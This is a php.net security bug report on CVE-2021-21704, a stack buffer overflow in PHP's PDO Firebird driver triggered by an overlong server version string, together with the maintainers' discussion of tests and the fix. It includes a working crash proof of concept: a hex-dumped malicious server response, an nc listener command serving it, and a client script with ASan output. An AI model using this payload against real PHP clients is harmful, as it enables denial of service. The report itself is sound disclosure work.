php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #76448 Stack buffer overflow in firebird_info_cb
Submitted: 2018-06-11 19:34 UTC Modified: 2021-06-28 04:40 UTC
From: trichimtrich at gmail dot com Assigned: stas (profile)
Status: Closed Package: PDO Firebird
PHP Version: 7.3.0alpha1 OS:
Private report: No CVE-ID: 2021-21704
View Add Comment Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
You can add a comment by following this link or if you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: trichimtrich at gmail dot com
New email:
PHP Version: OS:

 

 [2018-06-11 19:34 UTC] trichimtrich at gmail dot com
Description:
------------
A bug in pdo_firebase module allows a malicious firebase server or man-in-the-middle attacker to crash PHP.
Using strcat in firebird_info_cb without checking the length of server version string in response packet, causes stack buffer overflow.
Vulnerable code at:

\php-src\ext\pdo_firebird\firebird_driver.c
  506   if (arg) {
  507       if (*(char*)arg) { /* second call */
  508:          strcat(arg, " ");
  509       }
  510:      strcat(arg, s);
  511   }
  512  }

The buffer is defined in:
\php-src\ext\pdo_firebird\firebird_handle_get_attribute:521
		char tmp[512];


$ ./php --version
PHP 7.3.0-dev (cli) (built: Jun  9 2018 04:47:18) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.3.0-dev, Copyright (c) 1998-2018 Zend Technologies

Test script:
---------------
$ xxd crash_ver.bin
00000000: 0000 005e ffff 800f 0000 0001 0000 0005  ...^............
00000010: 0000 0000 0000 000b 4c65 6761 6379 5f41  ........Legacy_A
00000020: 7574 6800 0000 0000 0000 0000 0000 005c  uth............\
00000030: 0000 0000 0000 000b 4c65 6761 6379 5f41  ........Legacy_A
00000040: 7574 6800 0000 0000 0000 0000 0000 0009  uth.............
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0100  ................
00000080: 0200 0000 0000 0000 0000 0000 0000 0000  ................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000f0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000100: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000110: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000120: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000130: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000140: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000150: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000160: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000170: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000180: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000190: 0000 0000 0000 0000 0000 0000 0000 0140  ...............@
000001a0: 6724 0102 2257 492d 5434 2e30 2e30 2e39  g$.."WI-T4.0.0.9
000001b0: 3938 2046 6972 6562 6972 6420 342e 3020  98 Firebird 4.0
000001c0: 416c 7068 6120 31ff 5749 2d54 342e 302e  Alpha 1.WI-T4.0.
000001d0: 302e 3939 3820 4669 7265 6269 7264 2034  0.998 Firebird 4
000001e0: 2e30 2041 6c70 6861 2031 2f61 6161 6161  .0 Alpha 1/aaaaa
000001f0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
00000200: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
00000210: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
00000220: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
00000230: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
00000240: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
00000250: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
00000260: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
00000270: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
00000280: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
00000290: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
000002a0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
000002b0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
000002c0: 6161 6161 6161 610b 0500 0244 0144 0472  aaaaaaa....D.D.r
000002d0: 0d00 0201 0000 0001 0001 0000 0004 0101  ................
000002e0: 0000 0001 0000 0000 0000 0000            ............


$ nc -lvp 3050 < crash_ver.bin

$ cat fire_version.php
<?php
$dsn = 'firebird:dbname=localhost:employee;charset=utf8;';
$username = 'SYSDBA';
$password = 'masterkey';

$dbh = new PDO($dsn, $username, $password, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
echo $dbh->getAttribute(PDO::ATTR_SERVER_INFO);
?>

Expected result:
----------------
No crash

Actual result:
--------------
$ ./php fire_version.php
=================================================================
==5090==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fff128ea8a0 at pc 0x0000004cf3b3 bp 0x7fff128ea190 sp 0x7fff128e9918
WRITE of size 365 at 0x7fff128ea8a0 thread T0
    #0 0x4cf3b2 in __interceptor_strcat /scratch/llvm/clang-4/xenial/final/llvm.src/projects/compiler-rt/lib/asan/asan_interceptors.cc:489:5
    #1 0x7f4c4a944d25  (/opt/firebird/lib/libfbclient.so.2+0x70d25)
    #2 0x7f4c4a94032c  (/opt/firebird/lib/libfbclient.so.2+0x6c32c)
    #3 0x7f4c4a9474cf  (/opt/firebird/lib/libfbclient.so.2+0x734cf)
    #4 0x7f4c4a9432fa in isc_version (/opt/firebird/lib/libfbclient.so.2+0x6f2fa)
    #5 0xcda83b in firebird_handle_get_attribute (/mnt/hgfs/share/htdocs/php3+0xcda83b)
    #6 0xcbf2df in zim_PDO_getAttribute (/mnt/hgfs/share/htdocs/php3+0xcbf2df)
    #7 0x12e2d9f in ZEND_DO_FCALL_SPEC_RETVAL_USED_HANDLER (/mnt/hgfs/share/htdocs/php3+0x12e2d9f)
    #8 0x1212bcf in execute_ex (/mnt/hgfs/share/htdocs/php3+0x1212bcf)
    #9 0x121320b in zend_execute (/mnt/hgfs/share/htdocs/php3+0x121320b)
    #10 0x11175c0 in zend_execute_scripts (/mnt/hgfs/share/htdocs/php3+0x11175c0)
    #11 0xfa4878 in php_execute_script (/mnt/hgfs/share/htdocs/php3+0xfa4878)
    #12 0x1412cc4 in do_cli (/mnt/hgfs/share/htdocs/php3+0x1412cc4)
    #13 0x1410e67 in main (/mnt/hgfs/share/htdocs/php3+0x1410e67)
    #14 0x7f4c4961682f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #15 0x43d878 in _start (/mnt/hgfs/share/htdocs/php3+0x43d878)

Address 0x7fff128ea8a0 is located in stack of thread T0 at offset 544 in frame
    #0 0xcda73f in firebird_handle_get_attribute (/mnt/hgfs/share/htdocs/php3+0xcda73f)

  This frame has 1 object(s):
    [32, 544) 'tmp' <== Memory access at offset 544 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /scratch/llvm/clang-4/xenial/final/llvm.src/projects/compiler-rt/lib/asan/asan_interceptors.cc:489:5 in __interceptor_strcat
Shadow bytes around the buggy address:
  0x1000625154c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000625154d0: f1 f1 f1 f1 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000625154e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000625154f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100062515500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100062515510: 00 00 00 00[f3]f3 f3 f3 f3 f3 f3 f3 00 00 00 00
  0x100062515520: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
  0x100062515530: 00 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
  0x100062515540: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100062515550: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100062515560: 00 00 00 00 f1 f1 f1 f1 00 00 00 f3 f3 f3 f3 f3
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==5090==ABORTING

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2018-06-11 20:06 UTC] stas@php.net
-Assigned To: +Assigned To: lwe
 [2018-06-28 08:30 UTC] trichimtrich at gmail dot com
any update for this one?
 [2018-07-04 07:30 UTC] ab@php.net
@trichimtrich would it be possible to get rid of the binary data in these reports? It is bad for testability as it's likely to be not portable between different DB versions or platforms. Usual SQL or whatever should be used to create the test data.

Thanks.
 [2018-07-05 13:44 UTC] trichimtrich at gmail dot com
PHP is crashed because the server uses abnormal info in the response packet (or mitm attacker modifies it).

The binary data in the report was captured using wireshark, produces all the info in the connection between server and client:
- Handshake
- Authenticate
- The response of Get_Atribute(Server_Info) query, that causes crashed

I compiled a malicious version of firebird server, returns a longer version string:

https://github.com/FirebirdSQL/firebird/blob/master/src/remote/remote.cpp#L1310

void rem_port::versionInfo(Firebird::string& version) const
{
	version.printf("%s/%s", FB_VERSION, port_version->str_data);
#ifndef WIRE_COMPRESS_SUPPORT
	if (port_crypt_plugin)
		version += ":C";
 [2018-07-05 20:37 UTC] ab@php.net
Yeah, I see what the backtrace reveals. The buffer overflow happens in "isc_version" because an insufficient buffer was passed in this case. I was more talking about the testability, as there are several other bug reports including cases based on the binary data.

It not only regards to the binary data, but also to the tools introduced like xxd and nc. They are likely to be not present by default on every install and/or every platform. We could mimic that by using the pure binary data and creating a socket server that delivers it.

However, I also see that fe. in this particular case you've used some Firebird 4.0 alpha for the binary data creation. It is of course expected to be stable with theprotocol, but imagine that protocol would change. It would mean we couldn't ensure the testability of the code anymore. Or one would have to create a similar patch to the server and produce new binary data :/

It would be not that sensible in the case of this particular ticket, as a fix would only require to ensure the buffer is not overflown, so perhaps it could be even fixed without a test. But with an arbitrary case - a reliable test is always required. The tests are usually done with a server without malicious patches provided by mainstream or distributions.

To sum up -

- please think that every issue needs to be tested reliably in long term
- preferable were a way based on SQL
- a reproducer should not depend on platform specific tools (except the issue is platform specific) or tools that require extra installation

With this concrete case, I can confirm that your binary data cause a buffer overflow around firebird_driver.c:520 in tmp. Please check the other tickets for the purpose to make the testability easier and more portable.

Thanks.
 [2021-03-31 12:26 UTC] cmb@php.net
-Assigned To: lwe +Assigned To: stas
 [2021-03-31 12:26 UTC] cmb@php.net
I fully agree that regression tests are important, but such stuff
is inherently hard to test, and IMO it is better to have a fix
without accompanying test than to have no fix.

Stas, what do you think about
<https://gist.github.com/cmb69/cf5e3162c68cb999da4572e2ab72d5dc>?
 [2021-04-06 00:34 UTC] stas@php.net
-CVE-ID: +CVE-ID: needed
 [2021-04-06 00:34 UTC] stas@php.net
Looks ok to me, though I can't really test it... 
Stack buffer overflow in external communication protocol looks pretty bad security-wise.
 [2021-04-29 13:30 UTC] cmb@php.net
To be able to test it, one would have to compile a patched version
of Firebird, or to set up a fake Firebird server.  The latter is
likely a lot of work, and the former would not be viable for
automated testing.

Given that PDO_Firebird isn't the best maintained extension
anyway, I think the best we can do is add a test to verify that
the length of the return value is smaller than the buffer size.
I've updated the patch accordingly:
<https://gist.github.com/cmb69/cf5e3162c68cb999da4572e2ab72d5dc>
 [2021-04-29 13:49 UTC] cmb@php.net
> The latter is likely a lot of work, […]

Nonsense, disregard.  I'm working on a proper test against a fake
server.
 [2021-05-05 11:47 UTC] cmb@php.net
Suggested patch:
<https://gist.github.com/cmb69/51a5818efda86f39a5afdd93caf31e8e>.

This requires the payload server[1], and is developed against
PHP-7.4.  For PHP-7.3 at least some adjustments need to be done.
I can do that, but first would like to confirm that the patch and
the testing "framework" are generally acceptable.

Stas, what do you think?

[1] <https://github.com/php/php-src/pull/6940>
 [2021-06-21 05:02 UTC] stas@php.net
-CVE-ID: needed +CVE-ID: 2021-21704
 [2021-06-21 06:22 UTC] stas@php.net
-Private report: No +Private report: Yes
 [2021-06-28 04:41 UTC] git@php.net
Automatic comment on behalf of cmb69 (author) and smalyshev (committer)
Revision: https://github.com/php/php-src/commit/67afa32541ebc4abbf633cb1e7e879b2fbb616ad
Log: Fix #76448: Stack buffer overflow in firebird_info_cb
 [2021-06-28 04:41 UTC] git@php.net
-Status: Assigned +Status: Closed
 
PHP Copyright © 2001-2021 The PHP Group
All rights reserved.
Last updated: Thu Sep 23 22:03:38 2021 UTC